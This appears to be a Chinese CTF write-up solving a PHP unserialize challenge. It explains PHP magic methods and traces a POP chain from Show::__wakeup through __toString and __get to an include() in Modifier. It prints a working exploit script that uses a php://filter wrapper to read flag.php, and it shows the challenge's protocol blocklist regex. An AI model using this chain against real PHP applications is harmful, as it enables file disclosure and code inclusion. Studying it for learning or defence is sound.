打开题目,直接得到源代码
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
很明显发现反序列化函数,结合题目是一道构造pop链的题目
先要了解一下魔术方法
1. __construct 具有构造函数的类会在每次创建新对象时先调用此方法;初始化工作执行。
2. __desstruct 对象的所有引用都被删除或者当对象被显式销毁时执行。
3.__call()在对象中调用一个不可访问方法时,__call() 会被调用。
4.__callStatic()在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
5.__set() 在给不可访问的属性赋值时调用
6.__get() 读取不可访问的属性值是自动调用
7.__isset() 当对不可访问的私有属性使用isset或empty时自动调用
8.__unset() 当对不可访问的私有属性使用unset时;自动调用
9.__toString()当一个类的实例对象;被当成一个字符串输出时调用
10.__invoke() 当脚本尝试将对象调用为函数时触发
11.__wakeup() 使用unserialize时触发
12.__sleep() 使用serialize时触发
反序列化构造pop链的题目要注意两个点
1.入口点,反序列化POP链构造的入口
2.找危险函数,如果含有某些危险函数就可能导致漏洞达到目的
而入口点要特别注意一些魔术方法,如__construct
、__desstruct
、__wakeup
等等
而这道题代码较为简单,同时发现了入口点与危险函数,正向分析和逆向分析都可以,为了更好的表现逻辑性,本文通过正向分析来解答此题
观察代码,发现有一个危险函数include()
的内容可控,这里就可能造成文件包含漏洞
而反序列化的入口点在Show类中
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
使用unserialize时触发__wakeup()
,对$this->source正则匹配过滤关键字,如果$this->source此时是一个类的话,此时类就被当成了一个实例化对象,就会触发__tostring
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
Test类中有魔术方法__get
,__toString()
访问了str的source属性,str是Test
类,不存在source属性,就调用了Test类的__get()
魔术方法
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
__get()
方法将p作为函数使用,p实例化为Modify
类,就调用了Modifier的__invoke()
方法;
__invoke()
调用了append()
方法,包含$value
,若将$value
为伪协议,则可读flag.php源码
构造POP链
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>